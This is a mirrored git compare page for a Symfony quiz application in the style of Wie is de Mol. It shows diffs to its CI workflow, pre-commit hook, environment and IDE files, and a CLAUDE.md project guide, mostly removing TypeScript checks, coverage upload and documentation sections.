mirror of
https://github.com/MarijnDoeve/TijdVoorDeTest.git
synced 2026-07-13 13:25:19 +02:00
Compare commits
8 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
| a75bc14638 | |||
|
e2558c70f5
|
|||
|
12d40b2602
|
|||
|
cb577d60d3
|
|||
|
3b6ff680e5
|
|||
|
4a87ac574d
|
|||
|
394b8c7d33
|
|||
|
64a09453e6
|
@@ -1,5 +1,3 @@
|
|||||||
# define your env variables for the test env here
|
# define your env variables for the test env here
|
||||||
KERNEL_CLASS='Tvdt\Kernel'
|
KERNEL_CLASS='Tvdt\Kernel'
|
||||||
APP_SECRET='$ecretf0rt3st'
|
APP_SECRET='$ecretf0rt3st'
|
||||||
MAILER_DSN=null://null
|
|
||||||
MAILER_SENDER=test@example.org
|
|
||||||
|
|||||||
+1
-21
@@ -12,12 +12,7 @@ while IFS= read -r file; do
|
|||||||
[[ -n "$file" ]] && STAGED_TWIG+=("$file")
|
[[ -n "$file" ]] && STAGED_TWIG+=("$file")
|
||||||
done < <(git diff --cached --name-only --diff-filter=ACMR | grep -E '\.twig$' || true)
|
done < <(git diff --cached --name-only --diff-filter=ACMR | grep -E '\.twig$' || true)
|
||||||
|
|
||||||
STAGED_TS=()
|
if [[ ${#STAGED_PHP[@]} -eq 0 && ${#STAGED_TWIG[@]} -eq 0 ]]; then
|
||||||
while IFS= read -r file; do
|
|
||||||
[[ -n "$file" ]] && STAGED_TS+=("$file")
|
|
||||||
done < <(git diff --cached --name-only --diff-filter=ACMR | grep -E '\.ts$' || true)
|
|
||||||
|
|
||||||
if [[ ${#STAGED_PHP[@]} -eq 0 && ${#STAGED_TWIG[@]} -eq 0 && ${#STAGED_TS[@]} -eq 0 ]]; then
|
|
||||||
exit 0
|
exit 0
|
||||||
fi
|
fi
|
||||||
|
|
||||||
@@ -51,18 +46,3 @@ if [[ ${#STAGED_TWIG[@]} -gt 0 ]]; then
|
|||||||
"${DOCKER_CMD[@]}" vendor/bin/twig-cs-fixer fix "${STAGED_TWIG[@]}"
|
"${DOCKER_CMD[@]}" vendor/bin/twig-cs-fixer fix "${STAGED_TWIG[@]}"
|
||||||
git add "${STAGED_TWIG[@]}"
|
git add "${STAGED_TWIG[@]}"
|
||||||
fi
|
fi
|
||||||
|
|
||||||
if [[ ${#STAGED_TS[@]} -gt 0 ]]; then
|
|
||||||
echo "TypeScript (${#STAGED_TS[@]} file(s)): Deno fmt → lint → check"
|
|
||||||
|
|
||||||
echo " → Deno fmt"
|
|
||||||
"${DOCKER_CMD[@]}" deno fmt "${STAGED_TS[@]}"
|
|
||||||
git add "${STAGED_TS[@]}"
|
|
||||||
|
|
||||||
echo " → Deno lint"
|
|
||||||
"${DOCKER_CMD[@]}" deno lint --fix "${STAGED_TS[@]}"
|
|
||||||
git add "${STAGED_TS[@]}"
|
|
||||||
|
|
||||||
echo " → Deno check"
|
|
||||||
"${DOCKER_CMD[@]}" deno check "${STAGED_TS[@]}"
|
|
||||||
fi
|
|
||||||
|
|||||||
@@ -70,8 +70,6 @@ jobs:
|
|||||||
set: |
|
set: |
|
||||||
*.cache-from=type=gha,scope=${{github.ref}}-devbuild
|
*.cache-from=type=gha,scope=${{github.ref}}-devbuild
|
||||||
- name: Start services
|
- name: Start services
|
||||||
env:
|
|
||||||
HTTP_PORT: "80"
|
|
||||||
run: docker compose up php database --wait --no-build
|
run: docker compose up php database --wait --no-build
|
||||||
- name: Warm up dev cache
|
- name: Warm up dev cache
|
||||||
run: docker compose exec -T php bin/console cache:warmup --env=dev
|
run: docker compose exec -T php bin/console cache:warmup --env=dev
|
||||||
@@ -95,31 +93,6 @@ jobs:
|
|||||||
id: rector
|
id: rector
|
||||||
continue-on-error: true
|
continue-on-error: true
|
||||||
run: docker compose exec -T php vendor/bin/rector process --dry-run --no-progress-bar --output-format=github
|
run: docker compose exec -T php vendor/bin/rector process --dry-run --no-progress-bar --output-format=github
|
||||||
- name: Translations
|
|
||||||
id: translations
|
|
||||||
continue-on-error: true
|
|
||||||
run: |
|
|
||||||
docker compose exec -T php bin/console translation:extract --force --format=xliff --sort=asc nl
|
|
||||||
if ! git diff --exit-code -- translations; then
|
|
||||||
echo "::error::Translations are out of date. Run 'just translations' and commit the changes."
|
|
||||||
exit 1
|
|
||||||
fi
|
|
||||||
- name: TypeScript Formatting
|
|
||||||
id: ts_fmt
|
|
||||||
continue-on-error: true
|
|
||||||
run: docker compose exec -T php deno fmt --check assets/
|
|
||||||
- name: TypeScript Lint
|
|
||||||
id: ts_lint
|
|
||||||
continue-on-error: true
|
|
||||||
run: docker compose exec -T php deno lint assets/
|
|
||||||
- name: TypeScript Type Check
|
|
||||||
id: ts_check
|
|
||||||
continue-on-error: true
|
|
||||||
run: docker compose exec -T php deno check assets/
|
|
||||||
- name: TypeScript Tests
|
|
||||||
id: ts_test
|
|
||||||
continue-on-error: true
|
|
||||||
run: docker compose exec -T php deno test assets/
|
|
||||||
- name: Check HTTP reachability
|
- name: Check HTTP reachability
|
||||||
run: curl -v --fail-with-body http://localhost
|
run: curl -v --fail-with-body http://localhost
|
||||||
- name: Assert all checks passed
|
- name: Assert all checks passed
|
||||||
@@ -138,11 +111,6 @@ jobs:
|
|||||||
check "Twig Coding Style" "${{ steps.twig_cs.outcome }}"
|
check "Twig Coding Style" "${{ steps.twig_cs.outcome }}"
|
||||||
check "PHPStan" "${{ steps.phpstan.outcome }}"
|
check "PHPStan" "${{ steps.phpstan.outcome }}"
|
||||||
check "Rector" "${{ steps.rector.outcome }}"
|
check "Rector" "${{ steps.rector.outcome }}"
|
||||||
check "Translations" "${{ steps.translations.outcome }}"
|
|
||||||
check "TypeScript Formatting" "${{ steps.ts_fmt.outcome }}"
|
|
||||||
check "TypeScript Lint" "${{ steps.ts_lint.outcome }}"
|
|
||||||
check "TypeScript Type Check" "${{ steps.ts_check.outcome }}"
|
|
||||||
check "TypeScript Tests" "${{ steps.ts_test.outcome }}"
|
|
||||||
exit $failed
|
exit $failed
|
||||||
|
|
||||||
tests:
|
tests:
|
||||||
@@ -155,7 +123,6 @@ jobs:
|
|||||||
checks: write
|
checks: write
|
||||||
pull-requests: write
|
pull-requests: write
|
||||||
contents: read
|
contents: read
|
||||||
code-quality: write
|
|
||||||
steps:
|
steps:
|
||||||
- name: Checkout
|
- name: Checkout
|
||||||
uses: actions/checkout@9c091bb21b7c1c1d1991bb908d89e4e9dddfe3e0 # v7
|
uses: actions/checkout@9c091bb21b7c1c1d1991bb908d89e4e9dddfe3e0 # v7
|
||||||
@@ -176,8 +143,6 @@ jobs:
|
|||||||
run: docker compose up php database --wait --no-build
|
run: docker compose up php database --wait --no-build
|
||||||
- name: Build SCSS
|
- name: Build SCSS
|
||||||
run: docker compose exec -T php bin/console sass:build
|
run: docker compose exec -T php bin/console sass:build
|
||||||
- name: Build TypeScript
|
|
||||||
run: docker compose exec -T php bin/console typescript:build
|
|
||||||
- name: Create test database
|
- name: Create test database
|
||||||
run: docker compose exec -T php bin/console -e test doctrine:database:create
|
run: docker compose exec -T php bin/console -e test doctrine:database:create
|
||||||
- name: Run migrations
|
- name: Run migrations
|
||||||
@@ -185,26 +150,13 @@ jobs:
|
|||||||
- name: Load fixtures
|
- name: Load fixtures
|
||||||
run: docker compose exec -T php bin/console -e test doctrine:fixtures:load --no-interaction --group=test
|
run: docker compose exec -T php bin/console -e test doctrine:fixtures:load --no-interaction --group=test
|
||||||
- name: Run PHPUnit
|
- name: Run PHPUnit
|
||||||
# Reports are written outside var/ since var/ is a Docker volume (see the Dockerfile's
|
run: docker compose exec -T php vendor/bin/phpunit --log-junit var/phpunit/junit.xml
|
||||||
# VOLUME /app/var/) and isn't bind-mounted to the runner, unlike the rest of the project.
|
|
||||||
run: docker compose exec -T -e MAILER_DSN=null://null php vendor/bin/phpunit --log-junit reports/junit.xml --coverage-cobertura reports/coverage/cobertura.xml
|
|
||||||
- name: Publish PHPUnit test results
|
- name: Publish PHPUnit test results
|
||||||
if: always()
|
if: always()
|
||||||
uses: mikepenz/action-junit-report@d9f48fc87bc235f7e214acf696ca5abc0a986f16 # v6
|
uses: mikepenz/action-junit-report@d9f48fc87bc235f7e214acf696ca5abc0a986f16 # v6
|
||||||
with:
|
with:
|
||||||
report_paths: reports/junit.xml
|
report_paths: var/phpunit/junit.xml
|
||||||
check_name: PHPUnit
|
check_name: PHPUnit
|
||||||
- name: Upload code coverage
|
|
||||||
# Requires "Code Quality" to be enabled for this repository under
|
|
||||||
# Settings > Code security > Code quality; fail-on-error is false so CI
|
|
||||||
# doesn't go red before that one-time, manual repository setting is turned on.
|
|
||||||
if: github.event_name != 'pull_request' || github.event.pull_request.head.repo.full_name == github.repository
|
|
||||||
uses: actions/upload-code-coverage@82c7aee3fb2ad768e00b00a0a8d749c5815085b6 # v1
|
|
||||||
with:
|
|
||||||
file: reports/coverage/cobertura.xml
|
|
||||||
language: PHP
|
|
||||||
label: phpunit
|
|
||||||
fail-on-error: false
|
|
||||||
- name: Doctrine Schema Validator
|
- name: Doctrine Schema Validator
|
||||||
run: docker compose exec -T php bin/console -e test doctrine:schema:validate
|
run: docker compose exec -T php bin/console -e test doctrine:schema:validate
|
||||||
|
|
||||||
@@ -214,7 +166,7 @@ jobs:
|
|||||||
timeout-minutes: 20
|
timeout-minutes: 20
|
||||||
if: startsWith(github.ref, 'refs/tags/')
|
if: startsWith(github.ref, 'refs/tags/')
|
||||||
permissions:
|
permissions:
|
||||||
actions: write
|
actions: read
|
||||||
steps:
|
steps:
|
||||||
- name: Wait for and verify successful CI run on this commit
|
- name: Wait for and verify successful CI run on this commit
|
||||||
env:
|
env:
|
||||||
@@ -222,8 +174,6 @@ jobs:
|
|||||||
run: |
|
run: |
|
||||||
max_attempts=30
|
max_attempts=30
|
||||||
attempt=0
|
attempt=0
|
||||||
triggered=false
|
|
||||||
|
|
||||||
while [[ $attempt -lt $max_attempts ]]; do
|
while [[ $attempt -lt $max_attempts ]]; do
|
||||||
attempt=$((attempt + 1))
|
attempt=$((attempt + 1))
|
||||||
|
|
||||||
@@ -241,32 +191,12 @@ jobs:
|
|||||||
--jq "[.workflow_runs[] | select(.id != ${{ github.run_id }}) | select(.status == \"in_progress\" or .status == \"queued\" or .status == \"waiting\" or .status == \"requested\" or .status == \"pending\")] | length")
|
--jq "[.workflow_runs[] | select(.id != ${{ github.run_id }}) | select(.status == \"in_progress\" or .status == \"queued\" or .status == \"waiting\" or .status == \"requested\" or .status == \"pending\")] | length")
|
||||||
|
|
||||||
if [[ "$in_progress_count" -gt 0 ]]; then
|
if [[ "$in_progress_count" -gt 0 ]]; then
|
||||||
echo "CI in progress (attempt $attempt/$max_attempts), waiting 30s..."
|
echo "CI still in progress (attempt $attempt/$max_attempts), waiting 30s..."
|
||||||
sleep 30
|
sleep 30
|
||||||
continue
|
else
|
||||||
fi
|
echo "::error::No prior successful CI run found for ${{ github.sha }}. Only tag commits that have passed CI on main."
|
||||||
|
|
||||||
if [[ "$triggered" == "false" ]]; then
|
|
||||||
echo "No prior CI run found for ${{ github.sha }}. Triggering CI on ${{ github.ref }}..."
|
|
||||||
gh workflow run ci.yml --repo "${{ github.repository }}" --ref "${{ github.ref }}"
|
|
||||||
triggered=true
|
|
||||||
echo "Triggered. Waiting 20s for run to register..."
|
|
||||||
sleep 20
|
|
||||||
continue
|
|
||||||
fi
|
|
||||||
|
|
||||||
failed_conclusion=$(gh api \
|
|
||||||
"repos/${{ github.repository }}/actions/workflows/ci.yml/runs?head_sha=${{ github.sha }}&per_page=10" \
|
|
||||||
--jq "[.workflow_runs[] | select(.id != ${{ github.run_id }}) | select(.status == \"completed\") | select(.conclusion != \"success\")] | first | .conclusion // empty" \
|
|
||||||
--raw-output)
|
|
||||||
|
|
||||||
if [[ -n "$failed_conclusion" ]]; then
|
|
||||||
echo "::error::Triggered CI run on main failed with conclusion: $failed_conclusion. Fix the issue before re-tagging."
|
|
||||||
exit 1
|
exit 1
|
||||||
fi
|
fi
|
||||||
|
|
||||||
echo "Waiting for triggered run to register (attempt $attempt/$max_attempts)..."
|
|
||||||
sleep 20
|
|
||||||
done
|
done
|
||||||
|
|
||||||
echo "::error::Timed out waiting for CI run to complete for ${{ github.sha }}."
|
echo "::error::Timed out waiting for CI run to complete for ${{ github.sha }}."
|
||||||
@@ -304,7 +234,6 @@ jobs:
|
|||||||
id: meta
|
id: meta
|
||||||
run: |
|
run: |
|
||||||
REPO_LOWER=$(echo "${{ github.repository }}" | tr '[:upper:]' '[:lower:]')
|
REPO_LOWER=$(echo "${{ github.repository }}" | tr '[:upper:]' '[:lower:]')
|
||||||
echo "build_time=$(date -u +%Y-%m-%dT%H:%M:%SZ)" >> "$GITHUB_OUTPUT"
|
|
||||||
if [[ "${{ github.ref }}" == refs/tags/* ]]; then
|
if [[ "${{ github.ref }}" == refs/tags/* ]]; then
|
||||||
TAG="${GITHUB_REF#refs/tags/}"
|
TAG="${GITHUB_REF#refs/tags/}"
|
||||||
SENTRY_VERSION="${TAG#v}"
|
SENTRY_VERSION="${TAG#v}"
|
||||||
@@ -331,12 +260,9 @@ jobs:
|
|||||||
compose.yaml
|
compose.yaml
|
||||||
compose.build.yaml
|
compose.build.yaml
|
||||||
set: |
|
set: |
|
||||||
*.cache-from=type=gha,scope=${{github.ref}}-devbuild
|
|
||||||
*.cache-from=type=gha,scope=refs/heads/main-devbuild
|
|
||||||
*.cache-from=type=gha,scope=${{github.ref}}
|
*.cache-from=type=gha,scope=${{github.ref}}
|
||||||
*.cache-from=type=gha,scope=refs/heads/main
|
*.cache-from=type=gha,scope=refs/heads/main
|
||||||
*.cache-to=type=gha,scope=${{github.ref}},mode=max
|
*.cache-to=type=gha,scope=${{github.ref}},mode=max
|
||||||
*.args.BUILD_TIME=${{ steps.meta.outputs.build_time }}
|
|
||||||
*.tags=${{ steps.meta.outputs.full_name }}
|
*.tags=${{ steps.meta.outputs.full_name }}
|
||||||
|
|
||||||
- name: Create Sentry release
|
- name: Create Sentry release
|
||||||
|
|||||||
@@ -1,5 +1,4 @@
|
|||||||
/frankenphp/data
|
/frankenphp/data
|
||||||
/reports/
|
|
||||||
|
|
||||||
### Generated by gibo (https://github.com/simonwhitaker/gibo)
|
### Generated by gibo (https://github.com/simonwhitaker/gibo)
|
||||||
### https://raw.github.com/github/gitignore/6eeebe6f49678aacd8311ce079842c971b3ebe96/Symfony.gitignore
|
### https://raw.github.com/github/gitignore/6eeebe6f49678aacd8311ce079842c971b3ebe96/Symfony.gitignore
|
||||||
|
|||||||
Generated
-1
@@ -171,7 +171,6 @@
|
|||||||
<excludeFolder url="file://$MODULE_DIR$/vendor/symfony/polyfill-deepclone" />
|
<excludeFolder url="file://$MODULE_DIR$/vendor/symfony/polyfill-deepclone" />
|
||||||
<excludeFolder url="file://$MODULE_DIR$/vendor/sebastian/file-filter" />
|
<excludeFolder url="file://$MODULE_DIR$/vendor/sebastian/file-filter" />
|
||||||
<excludeFolder url="file://$MODULE_DIR$/vendor/symfony/object-mapper" />
|
<excludeFolder url="file://$MODULE_DIR$/vendor/symfony/object-mapper" />
|
||||||
<excludeFolder url="file://$MODULE_DIR$/vendor/symfonycasts/reset-password-bundle" />
|
|
||||||
</content>
|
</content>
|
||||||
<orderEntry type="inheritedJdk" />
|
<orderEntry type="inheritedJdk" />
|
||||||
<orderEntry type="sourceFolder" forTests="false" />
|
<orderEntry type="sourceFolder" forTests="false" />
|
||||||
|
|||||||
Generated
-1
@@ -205,7 +205,6 @@
|
|||||||
<path value="$PROJECT_DIR$/vendor/thecodingmachine/safe" />
|
<path value="$PROJECT_DIR$/vendor/thecodingmachine/safe" />
|
||||||
<path value="$PROJECT_DIR$/vendor/martin-georgiev/postgresql-for-doctrine" />
|
<path value="$PROJECT_DIR$/vendor/martin-georgiev/postgresql-for-doctrine" />
|
||||||
<path value="$PROJECT_DIR$/vendor/symfony/object-mapper" />
|
<path value="$PROJECT_DIR$/vendor/symfony/object-mapper" />
|
||||||
<path value="$PROJECT_DIR$/vendor/symfonycasts/reset-password-bundle" />
|
|
||||||
</include_path>
|
</include_path>
|
||||||
</component>
|
</component>
|
||||||
<component name="PhpInterpreters">
|
<component name="PhpInterpreters">
|
||||||
|
|||||||
@@ -4,11 +4,7 @@ This file provides guidance to Claude Code (claude.ai/code) when working with co
|
|||||||
|
|
||||||
## Project Overview
|
## Project Overview
|
||||||
|
|
||||||
**Tijd voor de test** is a PHP/Symfony 8.1 application for managing quizzes in the style of **Wie is de Mol?** (WIDM) —
|
**Tijd voor de test** is a PHP/Symfony 8.1 application for managing quizzes in the style of **Wie is de Mol?** (WIDM) — a Dutch TV show where contestants try to identify a saboteur ("de Mol") among them. At the end of each episode, participants take a quiz about the Mol's identity and actions; the candidate with the least correct answers is eliminated. This app replicates that quiz format with:
|
||||||
a Dutch TV show where contestants try to identify a saboteur ("de Mol") among them. At the end of each episode,
|
|
||||||
participants take a quiz about the Mol's identity and actions; the candidate with the least correct answers is
|
|
||||||
eliminated. This app replicates that quiz format with:
|
|
||||||
|
|
||||||
- Test creation with variable question counts
|
- Test creation with variable question counts
|
||||||
- Season management with active test controls
|
- Season management with active test controls
|
||||||
- Candidate answer tracking with automatic timing
|
- Candidate answer tracking with automatic timing
|
||||||
@@ -16,14 +12,13 @@ eliminated. This app replicates that quiz format with:
|
|||||||
- Backoffice management for quiz administration and statistics
|
- Backoffice management for quiz administration and statistics
|
||||||
|
|
||||||
Tech Stack:
|
Tech Stack:
|
||||||
|
|
||||||
- **Framework**: Symfony 8.1
|
- **Framework**: Symfony 8.1
|
||||||
- **PHP**: 8.5+
|
- **PHP**: 8.5+
|
||||||
- **Database**: PostgreSQL 16
|
- **Database**: PostgreSQL 16
|
||||||
- **ORM**: Doctrine
|
- **ORM**: Doctrine
|
||||||
- **Server**: FrankenPHP with Caddy
|
- **Server**: FrankenPHP with Caddy
|
||||||
- **Container**: Docker Compose
|
- **Container**: Docker Compose
|
||||||
- **Frontend**: Twig templates with SASS and TypeScript (via asset mapper)
|
- **Frontend**: Twig templates with SASS (via asset mapper)
|
||||||
- **Testing**: PHPUnit 13 with DAMA Doctrine test bundle
|
- **Testing**: PHPUnit 13 with DAMA Doctrine test bundle
|
||||||
|
|
||||||
## Build & Development Commands
|
## Build & Development Commands
|
||||||
@@ -40,24 +35,6 @@ just shell # Interactive shell inside the PHP container
|
|||||||
just shell-run # Shell in a fresh one-off container
|
just shell-run # Shell in a fresh one-off container
|
||||||
```
|
```
|
||||||
|
|
||||||
### Working in git worktrees
|
|
||||||
|
|
||||||
`just up` auto-runs `just init` first, which generates a gitignored `.env.local` per checkout with a unique
|
|
||||||
`COMPOSE_PROJECT_NAME`, `IMAGES_PREFIX`, and free `HTTP_PORT`/`HTTPS_PORT`/`POSTGRES_PORT`/`MAILPIT_PORT`/
|
|
||||||
`SPOTLIGHT_PORT`. This means every worktree gets its own containers, network, volumes, and image tag — running
|
|
||||||
`just up` in two worktrees at the same time does **not** make them share a database, image, or port, even if the
|
|
||||||
worktree directories have the same basename.
|
|
||||||
|
|
||||||
- Run `just ports` to see the ports assigned to the *current* checkout — the app for that worktree is at
|
|
||||||
`https://localhost:<HTTPS_PORT>`, not a fixed port. Never assume port 8080/8443/5432/etc. when working inside a
|
|
||||||
worktree; always check `.env.local` or `just ports` first.
|
|
||||||
- `.env.local` is generated once and reused; it's safe to run `just init`/`just up` repeatedly. Delete `.env.local`
|
|
||||||
and re-run `just init` to force new ports (e.g. if the assigned ones are now taken by something else).
|
|
||||||
- Each worktree's Postgres data, uploaded files, and Caddy state live in per-worktree Docker volumes — nothing is
|
|
||||||
shared with the main checkout or other worktrees. Migrations/fixtures must be (re-)run per worktree.
|
|
||||||
- `just down`/`just clean` in one worktree only ever affects that worktree's own containers/volumes — safe to run
|
|
||||||
without impacting other worktrees.
|
|
||||||
|
|
||||||
### Database
|
### Database
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
@@ -145,151 +122,43 @@ tests/
|
|||||||
- **Elimination**: Records red/green screens and forced results with joker adjustments.
|
- **Elimination**: Records red/green screens and forced results with joker adjustments.
|
||||||
- **User**: Administrative accounts for managing the system.
|
- **User**: Administrative accounts for managing the system.
|
||||||
|
|
||||||
## Domain Context: "De Test" (Wie is de Mol)
|
|
||||||
|
|
||||||
**Wie is de Mol?** (WIDM) is a Dutch reality competition: a group of contestants ("kandidaten") travels together while
|
|
||||||
one of them, "de Mol", secretly sabotages assignments. Each episode ends with the fixed line: *"Tijd voor de test.
|
|
||||||
Twintig vragen over de identiteit en het doen en laten van de Mol. Degene die het minst weet, ligt uit het spel. Behalve
|
|
||||||
de Mol. Die hoeft nooit naar huis."* ("Time for the test. Twenty questions about the identity and the actions of the
|
|
||||||
Mol. Whoever knows the least is out of the game. Except the Mol — they never have to go home.") The contestant with the
|
|
||||||
worst score is eliminated ("afvallen"); the Mol is immune regardless of score, since they already know the answers. This
|
|
||||||
app is a generic engine for running that quiz format for private/fan seasons, not just modeling the TV show
|
|
||||||
incidentally — the entity model below exists specifically to reproduce WIDM's test mechanics.
|
|
||||||
|
|
||||||
### What a test's 20 questions actually are
|
|
||||||
|
|
||||||
Per the intro line, questions fall into two factual categories — never opinion ("who would you vote off") — plus a
|
|
||||||
third recurring format used on the show:
|
|
||||||
|
|
||||||
1. **Identity of the Mol**: guessing which contestant is the Mol.
|
|
||||||
2. **The Mol's actions**: what the Mol did or where the Mol was during a specific assignment/moment.
|
|
||||||
3. **Candidate self-answered questions**: earlier, every contestant privately answered a question about themselves
|
|
||||||
(an interview-style question); the test then asks other contestants to guess what a *specific* candidate answered
|
|
||||||
about themselves. This tests how well contestants know each other, not just Mol-tracking.
|
|
||||||
|
|
||||||
### Why answers can be bound to candidates
|
|
||||||
|
|
||||||
All three categories above can have contestants themselves as the answer options rather than free text: "who is the
|
|
||||||
Mol" and "who did X" both need contestant names as options, and "what did candidate Y answer" needs Y's own submitted
|
|
||||||
answer among the options. In the domain model this is `Answer::$candidates` (a `ManyToMany` to `Candidate`, on both
|
|
||||||
sides): an answer option can *be* another contestant, not just text.
|
|
||||||
|
|
||||||
Because the relationship is many-to-many on the answer side too, a single answer option can cover **more than one
|
|
||||||
candidate at once** — e.g. "Anna en Bram" as one option for "who missed the assignment together", or an option
|
|
||||||
representing everyone who gave a particular self-answer in category 3 above. So a candidate-bound answer isn't always
|
|
||||||
one candidate, it can be a group; treat `Answer::$candidates` as "the set of contestants this option represents", not
|
|
||||||
as a single foreign key.
|
|
||||||
|
|
||||||
Combined with `GivenAnswer::$candidate` (who answered), every given answer on a candidate-bound question is a directed
|
|
||||||
relationship from the answering candidate to *every* candidate covered by the chosen option — a one-to-many edge when
|
|
||||||
the option is a group, not just candidate A pointed at candidate B. This is the mechanic behind any "who's suspected of
|
|
||||||
what" or sociogram-style statistic — it only applies to candidate-bound questions, plain trivia questions have no such
|
|
||||||
relationship. `Quiz::getQuestionErrors()` already relies on this distinction to validate that every active candidate is
|
|
||||||
covered exactly once per candidate-bound question (a candidate appearing across multiple group-options on the same
|
|
||||||
question counts as covered more than once).
|
|
||||||
|
|
||||||
### Elimination mechanics
|
|
||||||
|
|
||||||
- **Red/green screens**: at the end of a test, contestants are shown red or green screens one at a time to build tension
|
|
||||||
before the elimination is revealed. `Elimination::$data` stores the colour shown per candidate (
|
|
||||||
`SCREEN_RED/SCREEN_GREEN` via `getScreenColour()`), independent of the actual quiz score.
|
|
||||||
- **Jokers / corrections**: contestants can hold a "joker" (an advantage, e.g. an extra correct answer) that adjusts
|
|
||||||
their effective score without changing what they actually answered. This is `QuizCandidate::$corrections` — a float
|
|
||||||
added to the raw score, kept separate from `GivenAnswer` so the audit trail of what was actually answered stays
|
|
||||||
untouched.
|
|
||||||
- **Dropouts**: `Quiz::$dropouts` controls how many contestants can be eliminated in a single test (normally 1, but some
|
|
||||||
episodes eliminate more).
|
|
||||||
- **Finalization/locking**: `Quiz::$isFinalized` and `$isLocked` gate when a quiz's questions/answers can still be
|
|
||||||
edited — a quiz becomes immutable once a candidate has started it or an admin explicitly finalizes it. Treat this as
|
|
||||||
the natural point where computed results (scores, statistics) can be cached indefinitely, since nothing that feeds
|
|
||||||
them can change afterward.
|
|
||||||
|
|
||||||
### Terminology map (Dutch UI ↔ domain code)
|
|
||||||
|
|
||||||
| UI/domain term (Dutch) | Code |
|
|
||||||
|------------------------------|-------------------------------|
|
|
||||||
| Test | `Quiz` |
|
|
||||||
| Vraag | `Question` |
|
|
||||||
| Antwoord | `Answer` |
|
|
||||||
| Kandidaat | `Candidate` |
|
|
||||||
| Ingevuld antwoord | `GivenAnswer` |
|
|
||||||
| Afvallen / rood-groen scherm | `Elimination` |
|
|
||||||
| Joker / correctie | `QuizCandidate::$corrections` |
|
|
||||||
|
|
||||||
## Architecture Notes
|
## Architecture Notes
|
||||||
|
|
||||||
### Routing
|
### Routing
|
||||||
|
|
||||||
- Routes are **attribute-based** (PHP 8 attributes in controller methods)
|
- Routes are **attribute-based** (PHP 8 attributes in controller methods)
|
||||||
- Configured in `config/routes/attributes.yaml` for automatic discovery
|
- Configured in `config/routes/attributes.yaml` for automatic discovery
|
||||||
- Main entry point: `config/routes.yaml`
|
- Main entry point: `config/routes.yaml`
|
||||||
|
|
||||||
### Service Container & Dependency Injection
|
### Service Container & Dependency Injection
|
||||||
|
|
||||||
- Services in `src/` are automatically registered via PSR-4 namespace `Tvdt\`
|
- Services in `src/` are automatically registered via PSR-4 namespace `Tvdt\`
|
||||||
- Exclusions: Entity, DependencyInjection, Kernel classes
|
- Exclusions: Entity, DependencyInjection, Kernel classes
|
||||||
- Autowiring and autoconfiguration enabled by default
|
- Autowiring and autoconfiguration enabled by default
|
||||||
- Service definitions in `config/services.yaml`
|
- Service definitions in `config/services.yaml`
|
||||||
|
|
||||||
### Database & Migrations
|
### Database & Migrations
|
||||||
|
|
||||||
- PostgreSQL-based with Doctrine ORM
|
- PostgreSQL-based with Doctrine ORM
|
||||||
- Migrations in `migrations/` at project root, namespace `DoctrineMigrations` (intentionally not autoloaded); generate
|
- Migrations in `migrations/` at project root, namespace `DoctrineMigrations` (intentionally not autoloaded); generate with `bin/console make:migration`
|
||||||
with `bin/console make:migration`
|
|
||||||
- Test fixtures in `src/DataFixtures/` (loaded with `--group=test`)
|
- Test fixtures in `src/DataFixtures/` (loaded with `--group=test`)
|
||||||
- Test database configured separately via `.env.test`
|
- Test database configured separately via `.env.test`
|
||||||
|
|
||||||
### Testing Infrastructure
|
### Testing Infrastructure
|
||||||
|
|
||||||
- **PHPUnit 13** with DAMA Doctrine Test Bundle for transaction rollback
|
- **PHPUnit 13** with DAMA Doctrine Test Bundle for transaction rollback
|
||||||
- Bootstrap: `tests/bootstrap.php` loads env vars and autoloader; `tests/symfony-container.php` boots the test
|
- Bootstrap: `tests/bootstrap.php` loads env vars and autoloader; `tests/symfony-container.php` boots the test kernel/container (used by Rector)
|
||||||
kernel/container (used by Rector)
|
|
||||||
- Symfony test utilities (BrowserKit, CSS selectors) available
|
- Symfony test utilities (BrowserKit, CSS selectors) available
|
||||||
- Coverage excluded from: `src/DataFixtures/`
|
- Coverage excluded from: `src/DataFixtures/`
|
||||||
- Test environment: `APP_ENV=test` (set in phpunit.dist.xml)
|
- Test environment: `APP_ENV=test` (set in phpunit.dist.xml)
|
||||||
|
|
||||||
### Testing Conventions (TDD)
|
|
||||||
|
|
||||||
- **Write the failing test first.** When fixing any PHP-reachable bug, write a PHPUnit test that reproduces the failure
|
|
||||||
before touching the production code. Fix the code until the test passes.
|
|
||||||
- For bugs in `assets/*.ts` logic, write a `deno test` first instead — same TDD rule, different runner. Only skip a
|
|
||||||
test if the bug is in markup/DOM wiring that isn't worth a test per the rule below.
|
|
||||||
- Don't write tests for trivial presentational markup (e.g. asserting a tooltip/popover attribute or a CSS class exists
|
|
||||||
in a template). Tests cover behavior: routing, forms, persistence, authorization.
|
|
||||||
- Follow the pattern in `tests/Controller/Backoffice/` for controller/integration tests: log in, GET for CSRF token,
|
|
||||||
POST form data, assert redirect, clear entity manager, assert DB state.
|
|
||||||
- **Prefer `TestCase` over `WebTestCase`/`KernelTestCase`.** Reach for the full kernel/DB boot only when the test
|
|
||||||
genuinely needs routing, persistence, or the container — pure logic (services, listeners, helpers) should be tested
|
|
||||||
with plain PHPUnit `TestCase` and mocked dependencies; it's faster and more isolated.
|
|
||||||
- **Boy Scout Rule**: when you're already touching a file for an unrelated change, fix small nearby issues in the same
|
|
||||||
commit (e.g. a test that unnecessarily extends `WebTestCase`, a stale comment) rather than leaving them for later —
|
|
||||||
but don't let this balloon into an unrelated refactor.
|
|
||||||
- **Scope creep as a service**: when a review (yours or `/code-review`'s) turns up a real bug or gap outside the
|
|
||||||
original task's scope — even in already-merged code untouched by the current diff — fix it in the same MR rather
|
|
||||||
than just reporting it and moving on. Write a regression test first per the TDD rule above. Only leave something
|
|
||||||
unaddressed if fixing it would require a design decision only a human can make (e.g. reverting an intentional
|
|
||||||
security/access-control choice) — in that case, say so explicitly instead of silently skipping it.
|
|
||||||
|
|
||||||
### Code Style & Standards
|
### Code Style & Standards
|
||||||
|
|
||||||
- **PHP-CS-Fixer**: Symfony ruleset + risky rules enabled
|
- **PHP-CS-Fixer**: Symfony ruleset + risky rules enabled
|
||||||
- Strict types declaration required
|
- Strict types declaration required
|
||||||
- Trailing commas in multiline structures
|
- Trailing commas in multiline structures
|
||||||
- No else-only blocks
|
- No else-only blocks
|
||||||
- **Rector**: Aggressive modernization with all attribute sets + prepared sets (dead code, code quality, Doctrine,
|
- **Rector**: Aggressive modernization with all attribute sets + prepared sets (dead code, code quality, Doctrine, Symfony, PHPUnit)
|
||||||
Symfony, PHPUnit)
|
|
||||||
